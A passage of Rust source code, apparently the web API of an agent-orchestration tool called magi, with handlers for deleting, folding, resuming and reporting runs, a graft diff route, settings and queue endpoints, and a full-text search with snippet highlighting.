3460        let ui = Arc::clone(&ui);
3461        blocking(move || {
3462            let id = resolve_run(&ui.runs, &id)?;
3463            match read_run(&ui.runs, &id) {
3464                Ok(state) => {
3465                    let in_flight =
3466                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3467                    state
3468                        .ensure_can_delete(in_flight)
3469                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3470                    let dir = ui.runs.join(&id);
3471                    std::fs::remove_dir_all(&dir)
3472                        .with_context(|| format!("remove run directory {}", dir.display()))?;
3473                    Ok((id, false))
3474                }
3475                Err(_) => {
3476                    // Unreadable: there is no candidate list to guard on, so
3477                    // a live daemon's claim is the only thing left to check -
3478                    // the same rule `run_fold` applies for the same reason.
3479                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3480                        return Err(ApiError::conflict(format!(
3481                            "run {id} is being worked on by a live daemon right now"
3482                        )));
3483                    }
3484                    Ok((id, true))
3485                }
3486            }
3487        })
3488        .await?
3489    };
3490    if unreadable {
3491        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3492            .await
3493            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3494    }
3495    let ui = Arc::clone(&ui);
3496    let done = id.clone();
3497    blocking(move || {
3498        // The agent that asked died with the run, so an open question would
3499        // keep asking the operator for a decision nobody can deliver.
3500        ui.questions.abandon_for_run(
3501            &done,
3502            &format!("run {done} was deleted, so nothing is waiting for this answer"),
3503        )?;
3504        Ok(())
3505    })
3506    .await?;
3507    Ok(StatusCode::NO_CONTENT)
3508}
3509
3510/// `POST /api/runs/{id}/fold`.
3511///
3512/// Remove a run's candidate worktrees and branches, keeping its record.
3513///
3514/// This exists because the deck answered "delete this run" with *"Candidates
3515/// must be folded before deleting. Run `magi fold` first."* — a phone being
3516/// told to open a terminal, in the one product whose point is that it does
3517/// not need one. The runs an operator most wants gone are the stalled and
3518/// blocked ones, and those are exactly the runs still holding worktrees:
3519/// three of them here held 53 GB.
3520///
3521/// The winner's tree goes too. A fold is what someone asks for when they are
3522/// finished with a run, and leaving one tree behind would leave the delete
3523/// button disabled for the same reason as before.
3524///
3525/// Refused while a live daemon is working on the run, on the rule that guards
3526/// deletion: folding underneath a running agent would pull the tree it is
3527/// editing out from under it.
3528///
3529/// A run whose state this build cannot read at all falls back to
3530/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
3531/// selectively, so the whole record's worktree goes wholesale, exactly what
3532/// `magi fold` does on the command line for the same run.
3533async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3534    let (id, state) = {
3535        let ui = Arc::clone(&ui);
3536        blocking(move || {
3537            let id = resolve_run(&ui.runs, &id)?;
3538            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3539                return Err(ApiError::conflict(format!(
3540                    "run {id} is being worked on by a live daemon right now"
3541                )));
3542            }
3543            let state = read_run(&ui.runs, &id).ok();
3544            Ok((id, state))
3545        })
3546        .await?
3547    };
3548    let removed = match state {
3549        Some(mut state) => {
3550            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3551                .await
3552                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3553            // Nothing left to remove is not the same thing as nothing left to
3554            // do — see `clean::clear_abandoned_active`'s own doc for the run
3555            // this exists for: worktrees already gone, but a killed process
3556            // left active seats nobody will ever answer for.
3557            if removed.is_empty() {
3558                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3559                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3560            }
3561            removed
3562        }
3563        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3564            .await
3565            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3566    };
3567    Ok(Json(FoldView {
3568        run: id,
3569        removed_count: removed.len(),
3570        removed,
3571    }))
3572}
3573
3574/// What a fold took away, so the deck can say so rather than only re-render.
3575#[derive(Debug, Serialize)]
3576struct FoldView {
3577    run: String,
3578    /// Worktree paths and branch names removed, in the order they went.
3579    removed: Vec<String>,
3580    removed_count: usize,
3581}
3582
3583/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
3584/// merged outside of `land::land`'s own loop.
3585#[derive(Debug, Deserialize)]
3586struct FoldMergedBody {
3587    #[serde(default)]
3588    pr_url: String,
3589}
3590
3591/// `POST /api/runs/{id}/fold-merged`.
3592///
3593/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
3594/// `Blocked` with `merge: null` because magi never got as far as opening a
3595/// pull request of its own (a title over GitHub's length limit, `gh pr
3596/// create` unreachable, a stale token), which the operator then finished by
3597/// hand on a pull request magi never recorded. The "Run actions" sheet used
3598/// to have no way to tell it about that pull request short of a terminal and
3599/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
3600/// this exists and what it deliberately does not do (`bump::after_merge`).
3601///
3602/// Refused, like [`run_fold`], while a live daemon is working on the run: the
3603/// correction rewrites the same `status`/`merge` fields a running graph would
3604/// be writing to on its own.
3605///
3606/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
3607/// calls plus a fold, seconds of work, and the phone should get its answer
3608/// (which pull request it recorded, and what changed) in the same round
3609/// trip rather than learning it from the change stream.
3610async fn run_fold_merged(
3611    State(ui): State<Arc<Ui>>,
3612    Path(id): Path<String>,
3613    Json(body): Json<FoldMergedBody>,
3614) -> ApiResult<Json<FoldMergedView>> {
3615    let pr_url = body.pr_url.trim().to_owned();
3616    if pr_url.is_empty() {
3617        return Err(ApiError::bad_request("pr_url is required"));
3618    }
3619    let (id, mut state) = {
3620        let ui = Arc::clone(&ui);
3621        blocking(move || {
3622            let id = resolve_run(&ui.runs, &id)?;
3623            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3624                return Err(ApiError::conflict(format!(
3625                    "run {id} is being worked on by a live daemon right now"
3626                )));
3627            }
3628            let state = read_run(&ui.runs, &id)?;
3629            Ok((id, state))
3630        })
3631        .await?
3632    };
3633    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3634        .await
3635        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3636    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3637        .await
3638        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3639    Ok(Json(FoldMergedView {
3640        run: id,
3641        before: before.as_str().to_owned(),
3642        after: after.as_str().to_owned(),
3643        removed,
3644    }))
3645}
3646
3647/// What [`run_fold_merged`] did, so the deck can say so.
3648#[derive(Debug, Serialize)]
3649struct FoldMergedView {
3650    run: String,
3651    /// `status` before the correction — normally `"blocked"`.
3652    before: String,
3653    /// `status` after — normally `"merged"`.
3654    after: String,
3655    /// Worktree paths and branch names the trailing fold removed.
3656    removed: Vec<String>,
3657}
3658
3659/// `POST /api/runs/{id}/resume`.
3660///
3661/// Carry a stalled run on from where it stopped, in the background.
3662///
3663/// A stalled card says "the work is kept" and used to offer no way to act on
3664/// that: the candidates are built and paid for, and continuing means re-asking
3665/// only the seats whose absence collapsed the panel. The alternative an
3666/// operator actually had was releasing the task, which competes three fresh
3667/// implementations against work that already exists.
3668///
3669/// **202, not 200.** A resume runs agents for minutes; holding the connection
3670/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
3671/// phone learns the outcome from the change stream.
3672///
3673/// Refused when the loop is running at all, not merely when it is on this run.
3674/// The scarce resource is the agent CLIs' quota, and a tap that quietly
3675/// started a second graph on top of whatever the loop is already driving —
3676/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
3677/// allows — would spend that quota twice over for no extra throughput.
3678async fn run_resume(
3679    State(ui): State<Arc<Ui>>,
3680    Path(id): Path<String>,
3681) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3682    let (id, state) = {
3683        let ui = Arc::clone(&ui);
3684        blocking(move || {
3685            let id = resolve_run(&ui.runs, &id)?;
3686            let state = read_run(&ui.runs, &id)?;
3687            Ok((id, state))
3688        })
3689        .await?
3690    };
3691    if let Some(to) = state
3692        .pr_taken_over_by
3693        .as_ref()
3694        .or(state.released_to.as_ref())
3695    {
3696        return Err(ApiError::conflict(format!(
3697            "run {} can no longer be resumed: its pull request or worktree ownership moved to run {}.",
3698            state.short(),
3699            crate::run::short_of(to)
3700        )));
3701    }
3702    if !state.status.resumable() {
3703        return Err(ApiError::conflict(format!(
3704            "run {} is `{}`, and only a stalled or blocked run can be resumed",
3705            state.short(),
3706            status_word(state.status)
3707        )));
3708    }
3709    // Refused whenever the loop is running anything at all, not merely when
3710    // it is on this run: a manual resume racing a loop-driven run over the
3711    // same agent quota is the thing this guard exists to prevent, whether
3712    // the loop's own concurrency is one run or several.
3713    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3714        .into_iter()
3715        .next()
3716    {
3717        return Err(ApiError::conflict(format!(
3718            "the loop is running run {} right now; stop it first, or wait for \
3719             it to finish, before resuming a run by hand.",
3720            crate::run::short_of(&work.run)
3721        )));
3722    }
3723    let _resume = ui.begin_resume(&id)?;
3724
3725    // The same shape the list route returns, so the phone updates the card it
3726    // already has rather than learning a second schema for one button.
3727    let queued = RunSummary::of(
3728        &state,
3729        !ui.questions.open_for(&id).is_empty(),
3730        state.liveness(false),
3731    );
3732    let run = id.clone();
3733    tokio::spawn(async move {
3734        let _resume = _resume;
3735        match crate::graph::Runner::resume(&run) {
3736            Ok(mut runner) => {
3737                if let Err(e) = runner.execute().await {
3738                    tracing::warn!("resume of run {run} stopped: {e:#}");
3739                }
3740            }
3741            // The run's own record is what the phone reads; this line is for
3742            // the operator's terminal.
3743            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3744        }
3745    });
3746    Ok((StatusCode::ACCEPTED, Json(queued)))
3747}
3748
3749async fn run_report(
3750    State(ui): State<Arc<Ui>>,
3751    Path(id): Path<String>,
3752) -> ApiResult<impl IntoResponse> {
3753    let text = blocking(move || {
3754        let id = resolve_run(&ui.runs, &id)?;
3755        // Colour is off for the whole process, set once in `serve`. Rendering
3756        // is CPU work over the full state, which is the other reason this is
3757        // not on the executor.
3758        let state = read_run(&ui.runs, &id)?;
3759        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3760        let live = state.liveness(daemon_claims);
3761        Ok(format!(
3762            "{}{}",
3763            report::run(&state),
3764            report::active_seats(&state, live)
3765        ))
3766    })
3767    .await?;
3768    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3769}
3770
3771/// The structured twin of [`run_report`]: the same state, as sections the UI
3772/// draws as cards. An unreadable run answers with the same error the text
3773/// route does; it is never turned into an empty report.
3774async fn run_report_json(
3775    State(ui): State<Arc<Ui>>,
3776    Path(id): Path<String>,
3777) -> ApiResult<Json<crate::report_view::RunReportView>> {
3778    let view = blocking(move || {
3779        let id = resolve_run(&ui.runs, &id)?;
3780        let state = read_run(&ui.runs, &id)?;
3781        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3782        // Only a record that lacks the structured details reads `artifacts/`.
3783        let recovered = state.graft.as_ref().map(|_| {
3784            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
3785        });
3786        Ok(crate::report_view::build_with(
3787            &state,
3788            state.liveness(daemon_claims),
3789            recovered.as_ref(),
3790        ))
3791    })
3792    .await?;
3793    Ok(Json(view))
3794}
3795
3796/// Most of a graft diff the route returns.
3797const GRAFT_DIFF_MAX: usize = 400 * 1024;
3798/// How long `git diff` may run.
3799const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
3800
3801/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
3802/// come from the run record, never from the request.
3803async fn run_graft_diff(
3804    State(ui): State<Arc<Ui>>,
3805    Path(id): Path<String>,
3806) -> ApiResult<impl IntoResponse> {
3807    let (repo, pre, post) = blocking(move || {
3808        let id = resolve_run(&ui.runs, &id)?;
3809        let state = read_run(&ui.runs, &id)?;
3810        let g = state
3811            .graft
3812            .as_ref()
3813            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
3814        let post = g
3815            .post
3816            .clone()
3817            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
3818        Ok((state.repo.clone(), g.pre.clone(), post))
3819    })
3820    .await?;
3821    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
3822    if !hex(&pre) || !hex(&post) {
3823        return Err(ApiError::not_found("the recorded commits are not valid"));
3824    }
3825    let out = tokio::time::timeout(
3826        GRAFT_DIFF_TIMEOUT,
3827        crate::git::git_raw(
3828            &repo,
3829            &[
3830                "diff",
3831                "--no-color",
3832                "--no-ext-diff",
3833                "-M",
3834                &pre,
3835                &post,
3836                "--",
3837            ],
3838        ),
3839    )
3840    .await
3841    .map_err(|_| ApiError::not_found("git diff timed out"))?
3842    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
3843    if out.code != Some(0) {
3844        return Err(ApiError::not_found(
3845            "the recorded commits are no longer in the repository",
3846        ));
3847    }
3848    let mut body = out.stdout;
3849    if body.len() > GRAFT_DIFF_MAX {
3850        let mut cut = GRAFT_DIFF_MAX;
3851        while !body.is_char_boundary(cut) {
3852            cut -= 1;
3853        }
3854        body.truncate(cut);
3855        body.push_str("\n... diff truncated ...");
3856    }
3857    Ok((
3858        [
3859            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
3860            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3861        ],
3862        body,
3863    ))
3864}
3865
3866/// A task as the UI sees it.
3867///
3868/// The whole task, plus the two things the client would otherwise have to
3869/// reimplement: the human-readable source and the status string. Nothing is
3870/// removed - the phone shows `last_error` and the run history verbatim.
3871#[derive(Debug, Serialize)]
3872struct TaskView {
3873    #[serde(flatten)]
3874    task: Task,
3875    source_label: String,
3876    source_link: Option<SourceLink>,
3877    status_str: &'static str,
3878    /// The instruction, parsed as markdown, for the Queue card's "Full
3879    /// instruction" panel. `task.instruction` is unchanged and still carries
3880    /// the raw text.
3881    instruction_md: Vec<md::Node>,
3882    /// For a blocked task, what it waits on with each dependency's state, e.g.
3883    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
3884    /// recurses; empty for every other status.
3885    waits_on: Vec<String>,
3886    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
3887    /// behind - non-empty means nothing in the loop will ever run it.
3888    stuck_roots: Vec<String>,
3889}
3890
3891impl From<Task> for TaskView {
3892    fn from(task: Task) -> Self {
3893        Self {
3894            source_label: task.source.label(),
3895            source_link: source_link(&task.source),
3896            status_str: task.status.as_str(),
3897            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3898            waits_on: Vec::new(),
3899            stuck_roots: Vec::new(),
3900            task,
3901        }
3902    }
3903}
3904
3905impl TaskView {
3906    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3907        let waits_on = inv.waits_on(&task);
3908        let stuck_roots = inv
3909            .stuck_roots(&task)
3910            .iter()
3911            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3912            .collect();
3913        Self {
3914            waits_on,
3915            stuck_roots,
3916            ..Self::from(task)
3917        }
3918    }
3919}
3920
3921/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
3922/// its absence, leaves the cache to decide.
3923#[derive(Debug, Default, Deserialize)]
3924#[serde(default)]
3925struct ReposQuery {
3926    refresh: u8,
3927}
3928
3929/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
3930/// listing `magi repos` prints at a terminal.
3931///
3932/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
3933/// so an edit to `magi.toml` takes effect without a restart, the same
3934/// reasoning [`config_for`] documents for the talk routes.
3935async fn repos_list(
3936    State(ui): State<Arc<Ui>>,
3937    Query(q): Query<ReposQuery>,
3938) -> ApiResult<Json<Vec<repos::Repo>>> {
3939    let refresh = q.refresh != 0;
3940    blocking(move || {
3941        let (cfg, _) = Config::discover(&ui.repo, None)?;
3942        Ok(Json(ui.repos_cache.list(
3943            &cfg.repos.roots,
3944            Duration::from_secs(cfg.repos.scan_ttl),
3945            refresh,
3946        )))
3947    })
3948    .await
3949}
3950
3951/// Optional context, restricted to the server's known checkouts.
3952#[derive(Debug, Default, Deserialize)]
3953struct SettingsQuery {
3954    repo: Option<PathBuf>,
3955}
3956
3957/// Always discover against the server's original context, never the selection.
3958/// If that config is broken, retain the default context and machine-only roots
3959/// so the settings error contract and recovery picker remain available.
3960fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
3961    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
3962        let paths: Vec<PathBuf> = ui
3963            .machine_config
3964            .iter()
3965            .filter(|p| p.is_file())
3966            .cloned()
3967            .collect();
3968        if paths.is_empty() {
3969            Ok(Config::autodetected())
3970        } else {
3971            Config::load_layers(&paths)
3972        }
3973    });
3974    let mut known = cfg
3975        .map(|cfg| {
3976            ui.repos_cache.list(
3977                &cfg.repos.roots,
3978                Duration::from_secs(cfg.repos.scan_ttl),
3979                refresh,
3980            )
3981        })
3982        .unwrap_or_default();
3983    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
3984    if !known.iter().any(|r| r.path == path) {
3985        known.push(repos::Repo {
3986            name: path
3987                .file_name()
3988                .unwrap_or_default()
3989                .to_string_lossy()
3990                .into_owned(),
3991            path,
3992        });
3993    }
3994    known
3995}
3996
3997fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
3998    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
3999    let canonical = requested.canonicalize().ok();
4000    let mut known = settings_repositories(ui, false);
4001    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4002    if !known.iter().any(matches) {
4003        known = settings_repositories(ui, true);
4004    }
4005    let repo = known
4006        .iter()
4007        .find(|r| matches(r))
4008        .map(|r| r.path.clone())
4009        .ok_or_else(|| ApiError {
4010            status: StatusCode::UNPROCESSABLE_ENTITY,
4011            message: "Choose a known repository from the Settings selector.".to_owned(),
4012        })?;
4013    Ok((repo, known))
4014}
4015
4016/// `GET /api/settings` - the effective role assignments and roster, with the
4017/// layer each came from. A config that fails to load answers 200 with an
4018/// `error`, so the screen can say so instead of drawing empty lists.
4019async fn settings_get(
4020    State(ui): State<Arc<Ui>>,
4021    Query(q): Query<SettingsQuery>,
4022) -> ApiResult<Json<settings::SettingsView>> {
4023    blocking(move || {
4024        let (repo, known) = settings_context(&ui, q)?;
4025        Ok(Json(settings::view_with_repos(
4026            &repo,
4027            ui.machine_config.as_deref(),
4028            &known,
4029        )))
4030    })
4031    .await
4032}
4033
4034/// The body of `PUT /api/settings/roles`.
4035#[derive(Debug, Deserialize)]
4036#[serde(deny_unknown_fields)]
4037struct RolesBody {
4038    /// The `revision` the client last read.
4039    revision: String,
4040    /// Role key to its new ids; an empty list resets the key to its default.
4041    #[serde(default)]
4042    roles: std::collections::BTreeMap<String, Vec<String>>,
4043    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
4044    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
4045    /// words (422) instead of as a deserialization error.
4046    #[serde(default)]
4047    counts: std::collections::BTreeMap<String, serde_json::Value>,
4048}
4049
4050/// `PUT /api/settings/roles` - save role assignments to the machine config.
4051///
4052/// The write target is `ui.machine_config` and nothing in the body can change
4053/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
4054/// 422 with the reason in words.
4055async fn settings_put_roles(
4056    State(ui): State<Arc<Ui>>,
4057    Query(q): Query<SettingsQuery>,
4058    body: std::result::Result<Json<RolesBody>, JsonRejection>,
4059) -> ApiResult<Json<settings::SettingsView>> {
4060    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4061    blocking(move || {
4062        let (repo, known) = settings_context(&ui, q)?;
4063        settings::save_with_repos(
4064            &repo,
4065            ui.machine_config.as_deref(),
4066            &body.revision,
4067            &body.roles,
4068            &body.counts,
4069            &known,
4070        )
4071        .map(Json)
4072        .map_err(|e| match e {
4073            settings::SaveError::Conflict(m) => ApiError::conflict(m),
4074            settings::SaveError::Refused(m) => ApiError {
4075                status: StatusCode::UNPROCESSABLE_ENTITY,
4076                message: m,
4077            },
4078            settings::SaveError::Internal(m) => ApiError::internal(m),
4079        })
4080    })
4081    .await
4082}
4083
4084async fn queue_list(
4085    State(ui): State<Arc<Ui>>,
4086    Query(q): Query<ListQuery>,
4087) -> ApiResult<Json<Vec<TaskView>>> {
4088    blocking(move || {
4089        let tasks = ui.queue.list();
4090        let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
4091        Ok(Json(
4092            tasks
4093                .into_iter()
4094                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4095                .map(|t| TaskView::with_inventory(t, &inv))
4096                .collect(),
4097        ))
4098    })
4099    .await
4100}
4101
4102/// Most hits one search returns. The rest are counted in `total`.
4103const SEARCH_MAX_HITS: usize = 100;
4104/// Longest query, in characters, and most terms it is split into.
4105const SEARCH_MAX_QUERY: usize = 200;
4106const SEARCH_MAX_TERMS: usize = 8;
4107/// Characters of context kept before the first hit, and after it.
4108const SNIPPET_BEFORE: usize = 50;
4109const SNIPPET_AFTER: usize = 110;
4110
4111/// `?scope=runs|tasks&q=...`
4112#[derive(Debug, Deserialize)]
4113struct SearchQuery {
4114    #[serde(default)]
4115    scope: String,
4116    #[serde(default)]
4117    q: String,
4118}
4119
4120/// One piece of a snippet. `hit` pieces are what matched; the client renders
4121/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
4122#[derive(Debug, Serialize, PartialEq, Eq)]
4123struct SnippetPart {
4124    text: String,
4125    hit: bool,
4126}
4127
4128#[derive(Debug, Serialize)]
4129struct SearchHit {
4130    id: String,
4131    /// The name of the field the snippet was cut from.
4132    field: String,
4133    snippet: Vec<SnippetPart>,
4134    /// The run's list row, so the page can apply its state / section / repo
4135    /// filters to a hit outside the loaded window. Absent for tasks and for a
4136    /// run record the list view cannot read.
4137    #[serde(skip_serializing_if = "Option::is_none")]
4138    run: Option<RunSummary>,
4139}
4140
4141#[derive(Debug, Serialize)]
4142struct SearchView {
4143    scope: String,
4144    q: String,
4145    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
4146    hits: Vec<SearchHit>,
4147    /// Every match, hits beyond the cap included.
4148    total: usize,
4149    truncated: bool,
4150    /// Runs whose `run.json` could not be parsed at all. They were not
4151    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
4152    unreadable: usize,
4153}
4154
4155/// The text leaves of a JSON document, with the name of the field each sits
4156/// under. Keys and numbers are skipped: they are structure, not prose.
4157fn text_leaves<'a>(
4158    value: &'a serde_json::Value,
4159    field: &'a str,
4160    out: &mut Vec<(&'a str, &'a str)>,
4161) {
4162    match value {
4163        serde_json::Value::String(s) => out.push((field, s)),
4164        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4165        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4166        _ => {}
4167    }
4168}
4169
4170/// Lower-case one character without changing how many there are, so indices
4171/// in the lowered text are indices in the original.
4172fn fold_char(c: char) -> char {
4173    c.to_lowercase().next().unwrap_or(c)
4174}
4175
4176/// Split a query into its lower-cased terms.
4177fn search_terms(q: &str) -> Vec<String> {
4178    let mut terms: Vec<String> = Vec::new();
4179    for t in q.split_whitespace() {
4180        let t = t.to_lowercase();
4181        if !terms.contains(&t) {
4182            terms.push(t);
4183        }
4184    }
4185    terms
4186}
4187
4188/// Match `terms` (all of them, anywhere in the document) against the leaves
4189/// and cut a snippet around the first hit. `None` when a term is missing.
4190fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4191    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4192    let mut first: Option<usize> = None;
4193    for term in terms {
4194        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4195        first = Some(first.map_or(at, |f| f.min(at)));
4196    }
4197    // The leaf holding the earliest hit of any term is where the snippet is cut.
4198    let (field, text) = leaves[first?];
4199    Some(SearchHit {
4200        id: String::new(),
4201        field: field.to_owned(),
4202        snippet: snippet_of(text, terms),
4203        run: None,
4204    })
4205}
4206
4207/// A window of `text` around the first occurrence of any term, whitespace
4208/// collapsed, with every term occurrence inside the window marked.
4209fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
4210    let chars: Vec<char> = text.chars().collect();
4211    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
4212    let needles: Vec<Vec<char>> = terms
4213        .iter()
4214        .map(|t| t.chars().map(fold_char).collect())
4215        .collect();
4216    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
4217        let mut best: Option<(usize, usize)> = None;
4218        for n in needles.iter().filter(|n| !n.is_empty()) {
4219            // `to` bounds where a match may start; it may run past `to` (the
4220            // caller clips what it shows). A term longer than the field cannot
4221            // occur in it (it may live in another leaf of the document).
4222            if n.len() > chars.len() || to == 0 {
4223                continue;
4224            }
4225            let last = (to - 1).min(chars.len() - n.len());
4226            if from > last {
4227                continue;
4228            }
4229            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4230                && best.is_none_or(|(b, _)| i < b)
4231            {
4232                best = Some((i, i + n.len()));
4233            }
4234        }
4235        best
4236    };
4237    let Some((start, _)) = find(0, chars.len()) else {
4238        // Matched only through a case mapping that changes length: show the head.
4239        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4240        return vec![SnippetPart {
4241            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4242            hit: false,
4243        }];
4244    };
4245    let lo = start.saturating_sub(SNIPPET_BEFORE);
4246    let hi = (start + SNIPPET_AFTER).min(chars.len());
4247    let mut parts: Vec<SnippetPart> = Vec::new();
4248    let mut push = |s: &[char], hit: bool| {
4249        if s.is_empty() {
4250            return;
4251        }
4252        let text: String = s.iter().collect();
4253        match parts.last_mut() {
4254            Some(p) if p.hit == hit => p.text.push_str(&text),
4255            _ => parts.push(SnippetPart { text, hit }),
4256        }
4257    };
4258    if lo > 0 {
4259        push(&['\u{2026}'], false);
4260    }
4261    let mut at = lo;
4262    while at < hi {
4263        match find(at, hi) {
4264            Some((s, e)) => {
4265                push(&chars[at..s], false);
4266                // A match running past the window is shown up to its edge.
4267                let shown = e.min(hi);
4268                push(&chars[s..shown], true);
4269                at = shown;
4270            }
4271            None => {
4272                push(&chars[at..hi], false);
4273                at = hi;
4274            }
4275        }
4276    }
4277    if hi < chars.len() {
4278        push(&['\u{2026}'], false);
4279    }
4280    // Collapse whitespace (newlines in an instruction) without disturbing the
4281    // hit boundaries.
4282    let mut prev_space = false;
4283    for p in &mut parts {
4284        let mut out = String::with_capacity(p.text.len());
4285        for c in p.text.chars() {
4286            if c.is_whitespace() {
4287                if !prev_space {
4288                    out.push(' ');
4289                }
4290                prev_space = true;
4291            } else {
4292                out.push(c);
4293                prev_space = false;
4294            }
4295        }
4296        p.text = out;
4297    }
4298    parts.retain(|p| !p.text.is_empty());
4299    parts
4300}
4301
4302/// The search over `docs` (id, document), newest first, capped.
4303fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4304where
4305    I: IntoIterator<Item = (String, serde_json::Value)>,
4306{
4307    for (id, doc) in docs {
4308        let mut leaves = Vec::new();
4309        // The id is text an operator types too, and it is a map key on disk,
4310        // not a leaf.
4311        leaves.push(("id", id.as_str()));
4312        text_leaves(&doc, "", &mut leaves);
4313        if let Some(mut hit) = search_document(terms, &leaves) {
4314            view.total += 1;
4315            if view.hits.len() < SEARCH_MAX_HITS {
4316                hit.id = id;
4317                view.hits.push(hit);
4318            }
4319        }
4320    }
4321    view.truncated = view.total > view.hits.len();
4322}
4323
4324/// What a conversation is searched by: its list title and each turn's text,
4325/// under `operator` / `agent` so the snippet says who spoke. Nothing else
4326/// (session ids, repo paths, usage, drafts) is part of the document.
4327///
4328/// The title rule mirrors `talkOpener` / `firstLine` in `app.js`: the first
4329/// non-empty line of the first operator turn, trimmed and cut to 96 chars.
4330fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4331    let opener = talk
4332        .turns
4333        .iter()
4334        .find(|t| t.who == crate::talk::Who::Operator)
4335        .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4336        .unwrap_or("");
4337    let title: String = if opener.chars().count() > 96 {
4338        opener.chars().take(95).chain(['\u{2026}']).collect()
4339    } else {
4340        opener.to_owned()
4341    };
4342    let turns: Vec<serde_json::Value> = talk
4343        .turns
4344        .iter()
4345        .map(|t| {
4346            let who = match t.who {
4347                crate::talk::Who::Operator => "operator",
4348                crate::talk::Who::Agent => "agent",
4349            };
4350            serde_json::json!({ who: t.body })
4351        })
4352        .collect();
4353    serde_json::json!({ "title": title, "turns": turns })
4354}
4355
4356/// Read-only full-text search over every run's `run.json`, every task or every
4357/// conversation (title and transcript).
4358///
4359/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
4360/// record from an older schema still searches; only a file that is not JSON
4361/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
4362async fn search_get(
4363    State(ui): State<Arc<Ui>>,
4364    Query(q): Query<SearchQuery>,
4365) -> ApiResult<Json<SearchView>> {
4366    let query = q.q.trim().to_owned();
4367    if query.is_empty() {
4368        return Err(ApiError::bad_request("q must not be empty"));
4369    }
4370    if query.chars().count() > SEARCH_MAX_QUERY {
4371        return Err(ApiError::bad_request(format!(
